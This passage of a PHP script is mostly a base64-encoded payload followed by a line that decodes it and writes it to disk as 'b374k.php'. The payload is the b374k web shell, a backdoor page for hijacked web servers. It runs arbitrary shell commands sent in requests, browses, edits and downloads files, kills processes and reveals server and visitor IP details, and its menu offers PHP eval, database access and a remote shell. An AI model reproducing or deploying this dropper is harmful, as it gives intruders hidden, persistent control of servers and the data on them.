PiB8CiAgICAgIDxhIGhyZWY9XCI/ZD0iLiRwd2QuIiZhbXA7ZGw9Ii4kZi4iXCI+ZG93bmxvYWQ8 L2E+Jm5ic3A7KDxhIGhyZWY9XCI/ZD0iLiRwd2QuIiZhbXA7ZGxnemlwPSRmXCI+Z3ppcDwvYT4p PC90ZD48L3RyPgogICAgICA8dHI+PHRkPlZpZXc8L3RkPjx0ZD4KICAgICAgPGEgaHJlZj1cIj9k PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGYuIiZhbXA7dHlwZT10ZXh0XCI+dGV4dDwvYT4gfAogICAg ICA8YSBocmVmPVwiP2Q9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZi4iJmFtcDt0eXBlPWNvZGVcIj5j b2RlPC9hPiB8CiAgICAgIDxhIGhyZWY9XCI/ZD0iLiRwd2QuIiZhbXA7dmlldz0iLiRmLiImYW1w O3R5cGU9aW1hZ2VcIj5pbWFnZTwvYT48L3RkPjwvdHI+CiAgICAgIDwvdGFibGU+CiAgICAgICI7 CiAgICAgICR0ID0gIiI7CiAgICAgICRpaW5mbyA9IGdldGltYWdlc2l6ZSgkZik7CiAgICAgIGlm KHN1YnN0cigkZmlsbiwtMywzKSA9PSAicGhwIikgJHQgPSAiY29kZSI7CiAgICAgIGlmKGlzX2Fy cmF5KCRpaW5mbykpICR0ID0gJ2ltYWdlJzsKCiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsndHlw ZSddKSkgJHQgPSBzcygkX1JFUVVFU1RbJ3R5cGUnXSk7CgogICAgICBpZigkdD09ImltYWdlIil7 CiAgICAgICAgJHdpZHRoID0gKGludCkgJGlpbmZvWzBdOwogICAgICAgICRoZWlnaHQgPSAoaW50 KSAkaWluZm9bMV07CiAgICAgICAgJGltZ2luZm8gPSAiSW1hZ2UgdHlwZSA9ICggIi4kaWluZm9b J21pbWUnXS4iICk8YnIgLz4KICAgICAgICAgIEltYWdlIFNpemUgPSA8c3BhbiBjbGFzcz1cImdh dWxcIj4oIDwvc3Bhbj4iLiR3aWR0aC4iIHggIi4kaGVpZ2h0LiI8c3BhbiBjbGFzcz1cImdhdWxc Ij4gKTwvc3Bhbj48YnIgLz4iOwogICAgICAgIGlmKCR3aWR0aCA+IDgwMCl7CiAgICAgICAgICAk d2lkdGggPSA4MDA7CiAgICAgICAgICAkaW1nbGluayA9ICI8cD48YSBocmVmPVwiP2Q9Ii4kcHdk LiImYW1wO2ltZz0iLiRmaWxuLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4KICAgICAgICAgIDxzcGFu IGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPnZpZXcgZnVsbCBzaXplPHNwYW4gY2xhc3M9XCJnYXVs XCI+IF08L3NwYW4+PC9hPjwvcD4iOwogICAgICAgIH0KICAgICAgICBlbHNlICRpbWdsaW5rID0g IiI7CgogICAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cInZpZXdmaWxlY29udGVudFwi IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kaW1nbGluay4iCiAgICAgICAgICA8aW1n IHdpZHRoPVwiIi4kd2lkdGguIlwiIHNyYz1cIj9kPSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4i XCIgYWx0PVwiXCIgc3R5bGU9XCJtYXJnaW46OHB4IGF1dG87cGFkZGluZzowO2JvcmRlcjowO1wi IC8+PC9kaXY+IjsKCiAgICAgIH0KICAgICAgZWxzZWlmKCR0PT0iY29kZSIpewogICAgICAgICRz X3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cInZpZXdmaWxlY29udGVudFwiPiI7CiAgICAgICAgJGZp bGUgPSB3b3Jkd3JhcChmaWxlX2dldF9jb250ZW50cygkZiksMTYwLCJcbiIsdHJ1ZSk7CiAgICAg ICAgJGJ1ZmYgPSBoaWdobGlnaHRfc3RyaW5nKCRmaWxlLHRydWUpOwogICAgICAgICRvbGQgPSBh cnJheSgiMDAwMEJCIiwiMDAwMDAwIiwiRkY4MDAwIiwiREQwMDAwIiwgIjAwNzcwMCIpOwogICAg ICAgICRuZXcgPSBhcnJheSgiNEM4M0FGIiwiODg4ODg4IiwgIjg3REY0NSIsICJFRUVFRUUiICwg IkZGODAwMCIpOwogICAgICAgICRidWZmID0gc3RyX2lyZXBsYWNlKCRvbGQsJG5ldywgJGJ1ZmYp OwogICAgICAgICRzX3Jlc3VsdCAuPSAkYnVmZjsKICAgICAgICAkc19yZXN1bHQgLj0gICI8L2Rp dj4iOwogICAgICB9CiAgICAgIGVsc2UgewogICAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFz cz1cInZpZXdmaWxlY29udGVudFwiPiI7CiAgICAgICAgJHNfcmVzdWx0IC49ICBubDJicihodG1s ZW50aXRpZXMod29yZHdyYXAoZmlsZV9nZXRfY29udGVudHMoJGYpLDE2MCwiXG4iLHRydWUpKSk7 CiAgICAgICAgJHNfcmVzdWx0IC49ICAgIjwvZGl2PiI7CiAgICAgIH0KICAgIH0KICAgIGVsc2Vp Zihpc19kaXIoJGYpKXsKICAgICAgY2hkaXIoJGYpOwogICAgICAkcHdkID0gY3AoZ2V0Y3dkKCkp OwogICAgICAkc19yZXN1bHQgLj0gc2hvd2RpcigkcHdkLCRzX3Byb21wdCwkc193aW4pOwogICAg fQoKICB9IC8vIGVkaXQgZmlsZQogIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2VkaXQnXSkpewog ICAgJGYgPSBzcygkX1JFUVVFU1RbJ2VkaXQnXSk7CiAgICAkZmMgPSAiIjsKICAgICRmY3MgPSAi IjsKCiAgICBpZihpc19maWxlKCRmKSkgICRmYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsKICAg IGlmKGlzc2V0KCRfUkVRVUVTVFsnZmNzdWJtaXQnXSkpewogICAgICAkZmMgPSBzc2MoJF9SRVFV RVNUWydmYyddKTsKICAgICAgaWYoJGZpbGV6ID0gZm9wZW4oJGYsInciKSl7CiAgICAgICAgJHRp bWUgPSBkYXRlKCJkLU0tWSBIOmkiLHRpbWUoKSk7CiAgICAgICAgaWYoZndyaXRlKCRmaWxleiwk ZmMpKSAkZmNzID0gImZpbGUgc2F2ZWQgPHNwYW4gY2xhc3M9XCJnYXlhXCI+QDwvc3Bhbj4gIi4k dGltZTsKICAgICAgICBlbHNlICRmY3MgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgIGZjbG9z ZSgkZmlsZXopOwogICAgICB9CiAgICAgIGVsc2UgJGZjcyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7 CiAgICB9CiAgICAkc19yZXN1bHQgLj0gIiAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVSWydQ SFBfU0VMRiddIC4gIlwiIG1ldGhvZD1cInBvc3RcIj4KICAgICAgICA8dGV4dGFyZWEgaWQ9XCJm Y1wiIG5hbWU9XCJmY1wiIGNsYXNzPVwiZXZhbGNvZGVcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGZj KS4iPC90ZXh0YXJlYT4KICAgICAgICA8cD48aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImlu cHV0elwiIHN0eWxlPVwid2lkdGg6OTglO1wiIG5hbWU9XCJlZGl0XCIgdmFsdWU9XCIiLiRmLiJc IiAvPjwvcD4KICAgICAgICA8cD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJmY3N1Ym1p dFwiIGNsYXNzPVwiaW5wdXR6YnV0XCIgdmFsdWU9XCJTYXZlICFcIiBzdHlsZT1cIndpZHRoOjEy MHB4O2hlaWdodDozMHB4O1wiIC8+CiAgICAgICAgJm5ic3A7Jm5ic3A7Ii4kZmNzLiI8L3A+CiAg ICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kcHdkLiJc IiAvPgogICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAiOwoKICB9IC8vIHRhc2sgbWFuYWdl cgogIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ3BzJ10pKXsKICAgICRzX3Jlc3VsdCA9ICI8dGFi bGUgY2xhc3M9XCJleHBsb3JlIHNvcnRhYmxlXCI+IjsKICAgIGlmKCEkc193aW4pICRoID0gInBz IC1hdXgiOwogICAgZWxzZSAkaCA9ICJ0YXNrbGlzdCAvViAvRk8gY3N2IjsKICAgICR3Y291bnQg PSAxMTsKICAgICR3ZXhwbG9kZSA9ICIgIjsKICAgIGlmKCRzX3dpbikgJHdleHBsb2RlID0gIlwi LFwiIjsKCgogICAgJHJlcyA9IGV4ZSgkaCk7CiAgICBpZih0cmltKCRyZXMpPT0nJykgJHNfcmVz dWx0IC49ICI8cCBjbGFzcz1cInJzX3Jlc3VsdFwiPmVycm9yOiBwZXJtaXNzaW9uIGRlbmllZDwv cD4iOwogICAgZWxzZXsKICAgICAgaWYoISRzX3dpbikgJHJlcyA9IHByZWdfcmVwbGFjZSgnI1wg KyMnLCcgJywkcmVzKTsKCiAgICAgICRwc2FyciA9IGV4cGxvZGUoIlxuIiwkcmVzKTsKICAgICAg JGZpID0gdHJ1ZTsKICAgICAgJHRibGNvdW50ID0gMDsKCiAgICAgICRjaGVjayA9IGV4cGxvZGUo JHdleHBsb2RlLCRwc2FyclswXSk7CiAgICAgICR3Y291bnQgPSBjb3VudCgkY2hlY2spOwoKICAg ICAgZm9yZWFjaCgkcHNhcnIgYXMgJHBzYSl7CiAgICAgICAgaWYodHJpbSgkcHNhKSE9Jycpewog ICAgICAgICAgaWYoJGZpKXsKICAgICAgICAgICAgJGZpID0gZmFsc2U7CiAgICAgICAgICAgICRw c2xuID0gZXhwbG9kZSgkd2V4cGxvZGUsJHBzYSwkd2NvdW50KTsKICAgICAgICAgICAgJHNfcmVz dWx0IC49ICI8dHI+PHRoPmFjdGlvbjwvdGg+IjsKICAgICAgICAgICAgZm9yZWFjaCgkcHNsbiBh cyAkcCl7CiAgICAgICAgICAgICAgJHNfcmVzdWx0IC49ICI8dGg+Ii50cmltKHRyaW0oc3RydG9s b3dlcigkcCkpLCJcIiIpLiI8L3RoPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHNfcmVz dWx0IC49ICI8L3RyPiI7CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlewogICAgICAgICAgICAk cHNsbiA9IGV4cGxvZGUoJHdleHBsb2RlLCRwc2EsJHdjb3VudCk7CiAgICAgICAgICAgICRzX3Jl c3VsdCAuPSAiPHRyPiI7CiAgICAgICAgICAgICR0Ymxjb3VudCA9IDA7CiAgICAgICAgICAgIGZv cmVhY2goJHBzbG4gYXMgJHApewogICAgICAgICAgICAgIGlmKHRyaW0oJHApPT0iIikgJHAgPSAi Jm5ic3A7IjsKICAgICAgICAgICAgICBpZigkdGJsY291bnQgPT0gMCl7CiAgICAgICAgICAgICAg ICAkc19yZXN1bHQgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9 XCI/cHMmYW1wO2Q9Ii4kcHdkLiImYW1wO3BpZD0iLnRyaW0odHJpbSgkcHNsblsxXSksIlwiIiku IlwiPmtpbGw8L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFs aWduOmNlbnRlcjtcIj4iLnRyaW0odHJpbSgkcCksIlwiIikuIjwvdGQ+IjsKICAgICAgICAgICAg ICAgICR0Ymxjb3VudCsrOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBlbHNlewogICAg ICAgICAgICAgICAgJHRibGNvdW50Kys7CiAgICAgICAgICAgICAgICBpZigkdGJsY291bnQgPT0g Y291bnQoJHBzbG4pKSAkc19yZXN1bHQgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246bGVmdDtc Ij4iLnRyaW0odHJpbSgkcCksICJcIiIpLiI8L3RkPiI7CiAgICAgICAgICAgICAgICBlbHNlICRz X3Jlc3VsdCAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii50cmltKHRyaW0o JHApLCAiXCIiKS4iPC90ZD4iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAg ICAgICAkc19yZXN1bHQgLj0gIjwvdHI+IjsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0K ICAgICAgJHNfcmVzdWx0IC49ICI8L3RhYmxlPiI7CiAgICB9CiAgfQogIGVsc2V7CiAgICBpZihp c3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7CiAgICAgICRjbWQgPSBzcygkX1JFUVVFU1RbJ2NtZCdd KTsKICAgICAgaWYoc3RybGVuKCRjbWQpID4gMCl7CiAgICAgICAgaWYocHJlZ19tYXRjaCgnI15j ZChcICkrKC4qKSQjJywkY21kLCRyKSl7CiAgICAgICAgICAkbmQgPSB0cmltKCRyWzJdKTsKICAg ICAgICAgIGlmKGlzX2RpcigkbmQpKXsKICAgICAgICAgICAgY2hkaXIoJG5kKTsKICAgICAgICAg ICAgJHB3ZCA9IGNwKGdldGN3ZCgpKTsKICAgICAgICAgICAgJHNfcmVzdWx0IC49IHNob3dkaXIo JHB3ZCwkc19wcm9tcHQsJHNfd2luKTsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2VpZihpc19k aXIoJHB3ZC4kbmQpKXsKICAgICAgICAgICAgY2hkaXIoJHB3ZC4kbmQpOwogICAgICAgICAgICAk cHdkID0gY3AoZ2V0Y3dkKCkpOwogICAgICAgICAgICAkc19yZXN1bHQgLj0gc2hvd2RpcigkcHdk LCRzX3Byb21wdCwkc193aW4pOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSAkc19yZXN1bHQg Lj0gIjxwcmU+Ii4kbmQuIiBpcyBub3QgYSBkaXJlY3RvcnkiLiI8L3ByZT4iOwogICAgICAgIH0K ICAgICAgICBlbHNlewogICAgICAgICAgJHNfciA9IGh0bWxzcGVjaWFsY2hhcnMoZXhlKCRjbWQp KTsKICAgICAgICAgIGlmKCRzX3IgIT0gJycpICRzX3Jlc3VsdCAuPSAiPHByZT4iLiRzX3IuIjwv cHJlPiI7CiAgICAgICAgICBlbHNlICRzX3Jlc3VsdCAuPSBzaG93ZGlyKCRwd2QsJHNfcHJvbXB0 LCRzX3dpbik7CiAgICAgICAgfQogICAgICB9CiAgICAgIGVsc2UgJHNfcmVzdWx0IC49IHNob3dk aXIoJHB3ZCwkc19wcm9tcHQsJHNfd2luKTsKICAgIH0KICAgIGVsc2UgJHNfcmVzdWx0IC49IHNo b3dkaXIoJHB3ZCwkc19wcm9tcHQsJHNfd2luKTsKICB9CgoKICAvLyBwcmludCB1c2VmdWwgaW5m bwogICRzX2luZm8gID0gIjx0YWJsZSBjbGFzcz1cImhlYWR0YmxcIj48dHI+PHRkPiIuJHNfc29m dHdhcmUuIjwvdGQ+PC90cj4iOwogICRzX2luZm8gLj0gIjx0cj48dGQ+Ii4kc19zeXN0ZW0uIjwv dGQ+PC90cj4iOwogIGlmKCRzX2lkICE9ICIiKSAkc19pbmZvIC49ICI8dHI+PHRkPiIuJHNfaWQu IjwvdGQ+PC90cj4iOwogICRzX2luZm8gLj0gIjx0cj48dGQ+c2VydmVyIGlwIDogIi4kc19zZXJ2 ZXJfaXAuIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj55b3VyICAgaXAgOiAiLiRzX215 X2lwLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IjsKICBpZigkc19zYWZlbW9kZSkg JHNfaW5mbyAuPSAic2FmZW1vZGUgPHNwYW4gY2xhc3M9XCJnYXlhXCI+T048L3NwYW4+IjsKICBl bHNlICRzX2luZm8gLj0gInNhZmVtb2RlIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPk9GRjwvc3Bhbj4i OwogICRzX2luZm8gLj0gIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gVGltZSBAIFNl cnZlciA6ICIuZGF0ZSgiZCBNIFkgSDppOnMiLHRpbWUoKSk7CiAgJHNfaW5mbyAuPSAiCiAgICA8 L3RkPjwvdHI+CiAgICA8dHI+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpsZWZ0O1wiPgogICAgICA8 dGFibGUgY2xhc3M9XCJoZWFkdGJsc1wiPjx0cj4KICAgICAgPHRkPiIudHJpbSgkbGV0dGVycyku IjwvdGQ+CiAgICAgIDx0ZD4KICAgICAgPHNwYW4gaWQ9XCJjaHB3ZFwiPgogICAgICAmbmJzcDs8 YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignY2hwd2QnLCdjaHB3ZGZvcm0nKVwiPgogICAgICA8 aW1nIGhlaWdodD1cIjE2cHhcIiB3aWR0aD1cIjE2cHhcIiBzcmM9XCIiIC4gJF9TRVJWRVJbJ1BI UF9TRUxGJ10gLiAiP2Zhdmljb25cIiBhbHQ9XCJDaGFuZ2VcIiBzdHlsZT1cInZlcnRpY2FsLWFs aWduOm1pZGRsZTttYXJnaW46NnB4IDA7Ym9yZGVyOjA7XCIgLz4KICAgICAgJm5ic3A7Jm5ic3A7 PC9hPiIuc3dkKCRwd2QpLiI8L3NwYW4+CiAgICAgIDxmb3JtIGFjdGlvbj1cIiIgLiAkX1NFUlZF UlsnUEhQX1NFTEYnXSAuICJcIiBtZXRob2Q9XCJwb3N0XCIgc3R5bGU9XCJtYXJnaW46MDtwYWRk aW5nOjA7XCI+CiAgICAgIDxzcGFuIGNsYXNzPVwic2VtYnVueWlcIiBpZD1cImNocHdkZm9ybVwi PgogICAgICAmbmJzcDs8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignY2hwd2Rmb3JtJywnY2hw d2QnKTtcIj4KICAgICAgPGltZyBoZWlnaHQ9XCIxNnB4XCIgd2lkdGg9XCIxNnB4XCIgc3JjPVwi IiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9mYXZpY29uXCIgYWx0PVwiQ2hhbmdlXCIgc3R5 bGU9XCJ2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luOjZweCAwO2JvcmRlcjowO1wiIC8+CiAg ICAgIDwvYT4mbmJzcDsmbmJzcDsKICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwi ZFwiIGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDozMDBweDtcIiB2YWx1ZT1cIiIuY3Ao JHB3ZCkuIlwiIC8+CiAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgY2xh c3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjMwMHB4O1wiIHZhbHVlPVwiIi4kcHdkLiJcIiAv PgogICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1c InN1Ym1pdFwiIHZhbHVlPVwidmlldyBmaWxlIC8gZm9sZGVyXCIgLz4KICAgICAgPGlucHV0IGNs YXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1c ImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignY2hwd2Rmb3JtJywnY2hwd2QnKTtcIiAvPgogICAg ICA8L2Zvcm0+CiAgICAgIDwvc3Bhbj4KICAgICAgPC90ZD48L3RyPgogICAgICA8L3RhYmxlPgog ICAgPC90ZD48L3RyPgogICAgPC90YWJsZT4iOwp9Ci8vIE9LIG5vdy4uLiB0aGF0cyB0aGUgPGJy YWluPiwsIGhlcmUgY29tZXMgdGhlIDxoZWFkPgo/PjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8v VzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iCiAgICJodHRwOi8vd3d3LnczLm9y Zy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KCjxodG1sIHhtbG5zPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KCjxo ZWFkPgo8dGl0bGU+PD9waHAgZWNobyAkc190aXRsZTsgPz48L3RpdGxlPgo8bGluayByZWw9IlNI T1JUQ1VUIElDT04iIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mYXZp Y29uIjsgPz4iIC8+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjw/cGhwIGVjaG8gZ3ppbmZsYXRl KGJhc2U2NF9kZWNvZGUoJHN0eWxlKSk7ID8+PC9zdHlsZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9q YXZhc2NyaXB0IiBzcmM9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zb3J0dGFi bGUiOyA/PiI+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rp b24gdHVrYXIobCxiKXsKICBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZChsKSkgZG9jdW1lbnQu Z2V0RWxlbWVudEJ5SWQobCkuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICBpZihkb2N1bWVudC5n ZXRFbGVtZW50QnlJZChiKSkgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYikuc3R5bGUuZGlzcGxh eSA9ICdibG9jayc7CiAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobCArICdfJykpIGRvY3Vt ZW50LmdldEVsZW1lbnRCeUlkKGwgKyAnXycpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gaW5pdCgpewog IDw/cGhwIGlmKGlzc2V0KCRfUkVRVUVTVFsnY21kJ10pKSBlY2hvICJpZihkb2N1bWVudC5nZXRF bGVtZW50QnlJZCgnY21kJykpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygp OyI7ID8+Cn0KZnVuY3Rpb24gY2xpY2tjbWQoKXsKICB2YXIgYnVmZiA9IGRvY3VtZW50LmdldEVs ZW1lbnRCeUlkKCdjbWQnKTsKICBpZihidWZmLnZhbHVlID09ICctIHNoZWxsIGNvbW1hbmQgLScp IGJ1ZmYudmFsdWUgPSAnJzsKfQo8L3NjcmlwdD4KCjwvaGVhZD4KCjxib2R5IG9uTG9hZD0iaW5p dCgpOyI+Cjx0YWJsZSBpZD0ibWFpbiI+PHRyPjx0ZD48P3BocCBpZigkc19hdXRoKXsgPz4KICA8 ZGl2Pjx0YWJsZSBpZD0iaGVhZGVyIj48dHI+PHRkIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PHRhYmxl Pjx0cj48dGQ+PGgxPjxhIGhyZWY9Ij8iPjw/cGhwIGVjaG8gJHNfbmFtZTsgPz48L2E+PC9oMT48 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpyaWdodDsiPjxkaXYgY2xhc3M9InZl ciI+PD9waHAgZWNobyAkc192ZXI7ID8+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4KICA8 dGQ+PGRpdiBjbGFzcz0iaGVhZGluZm8iPjw/cGhwIGVjaG8gJHNfaW5mbzsgPz48L2Rpdj48L3Rk PjwvdHI+PC90YWJsZT4KICA8L2Rpdj4KICA8ZGl2IHN0eWxlPSJjbGVhcjpib3RoOyI+PC9kaXY+ CiAgPGRpdiBpZD0ibWVudSI+CiAgICA8dGFibGUgc3R5bGU9IndpZHRoOjEwMCU7Ij48dHI+CiAg ICA8dGQ+PGEgaHJlZj0iPyZkPTw/cGhwIGVjaG8gJHB3ZDsgPz4iIHRpdGxlPSJFeHBsb3JlciI+ PGRpdiBjbGFzcz0ibWVudW1pIj54cGw8L2Rpdj48L2E+PC90ZD4KICAgIDx0ZD48YSBocmVmPSI/ cHMmZD08P3BocCBlY2hvICRwd2Q7ID8+IiB0aXRsZT0iRGlzcGxheSBwcm9jZXNzIHN0YXR1cyI+ PGRpdiBjbGFzcz0ibWVudW1pIj5wczwvZGl2PjwvYT48L3RkPgogICAgPHRkPjxhIGhyZWY9Ij9l dmFsJmQ9PD9waHAgZWNobyAkcHdkOyA/PiIgdGl0bGU9IlBIUCBldmFsIGZ1bmN0aW9uIj48ZGl2 IGNsYXNzPSJtZW51bWkiPmV2YWw8L2Rpdj48L2E+PC90ZD4KICAgIDx0ZD48YSBocmVmPSI/cGhw aW5mbyZkPTw/cGhwIGVjaG8gJHB3ZDsgPz4iIHRpdGxlPSJJbmZvcm1hdGlvbiBhYm91dCBjdXJy ZW50IHN0YXRlIG9mIFBIUCI+PGRpdiBjbGFzcz0ibWVudW1pIj5waHA8L2Rpdj48L2E+PC90ZD4K ICAgIDx0ZD48YSBocmVmPSI/ZGImZD08P3BocCBlY2hvICRwd2Q7ID8+IiB0aXRsZT0iQ29ubmVj dCB0byBkYXRhYmFzZSI+PGRpdiBjbGFzcz0ibWVudW1pIj5kYjwvZGl2PjwvYT48L3RkPgogICAg PHRkPjxhIGhyZWY9Ij9ycyZkPTw/cGhwIGVjaG8gJHB3ZDsgPz4iIHRpdGxlPSJSZW1vdGUgU2hl bGwiPjxkaXYgY2xhc3M9Im1lbnVtaSI+cnM8L2Rpdj48L2E+PC90ZD4KICAgIDx0ZCBzdHlsZT0i d2lkdGg6MTAwJTtwYWRkaW5nOjAgMCAwIDZweDsiPgogICAgPGZvcm0gYWN0aW9uPSI8P3BocCBl Y2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/PiIgbWV0aG9kPSJwb3N0Ij48c3BhbiBjbGFzcz0i cHJvbXB0Ij48P3BocCBlY2hvICRzX3Byb21wdDsgPz48L3NwYW4+CiAgICA8aW5wdXQgaWQ9ImNt ZCIgb25jbGljaz0iY2xpY2tjbWQoKTsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9 ImNtZCIgc3R5bGU9IndpZHRoOjcwJTsiIHZhbHVlPSI8P3BocCAKaWYoaXNzZXQoJF9SRVFVRVNU WydjbWQnXSkpIGVjaG8gIiI7CmVsc2UgZWNobyAiLSBzaGVsbCBjb21tYW5kIC0iOwo/PiIgLz4K ICAgIDxub3NjcmlwdD48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1 ZT0iR28gISIgbmFtZT0ic3VibWl0Y21kIiBzdHlsZT0id2lkdGg6ODBweDsiIC8+PC9ub3Njcmlw dD4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRw d2Q7ID8+IiAvPgogICAgPC9mb3JtPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8L3RhYmxlPgog IDwvZGl2PgogIDxkaXYgaWQ9ImNvbnRlbnQiIGlkPSJib3hfc2hlbGwiPgogICAgPGRpdiBpZD0i cmVzdWx0Ij48P3BocCBlY2hvICRzX3Jlc3VsdDsgPz48L2Rpdj4KICA8L2Rpdj48P3BocCB9IApl bHNleyA/PgogIDxkaXYgc3R5bGU9IndpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7Ij4KCiAg PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/PiIgbWV0aG9k PSJwb3N0Ij4KICA8aW1nIHNyYz0iP2Zhdmljb24iIHN0eWxlPSJtYXJnaW46MnB4O3ZlcnRpY2Fs LWFsaWduOm1pZGRsZTsiIC8+CiAgPD9waHAgZWNobyAkc19uYW1lOyA/PiZuYnNwOzxzcGFuIGNs YXNzPSJnYXlhIj48P3BocCBlY2hvICRzX3ZlcjsgPz48L3NwYW4+PGlucHV0IGlkPSJsb2dpbiIg Y2xhc3M9ImlucHV0eiIgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImxvZ2luIiBzdHlsZT0id2lkdGg6 MTIwcHg7IiB2YWx1ZT0iIiAvPgogIDxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJt aXQiIHZhbHVlPSJHbyAhIiBuYW1lPSJzdWJtaXRsb2dpbiIgc3R5bGU9IndpZHRoOjgwcHg7IiAv PgogIDwvZm9ybT4KICA8L2Rpdj4KCjw/cGhwCn0KPz4KPC90ZD48L3RyPjwvdGFibGU+CjxwIGNs YXNzPSJmb290ZXIiPkpheWFsYWggSW5kb25lc2lha3UgJmNvcHk7PD9waHAgZWNobyBkYXRlKCJZ Iix0aW1lKCkpLiIgIi4kc19uYW1lOyA/PjwvcD4KPC9ib2R5Pgo8L2h0bWw+Cg=='; file_put_contents('b374k.php',base64_decode($b374k));; echo "Here b374k.php
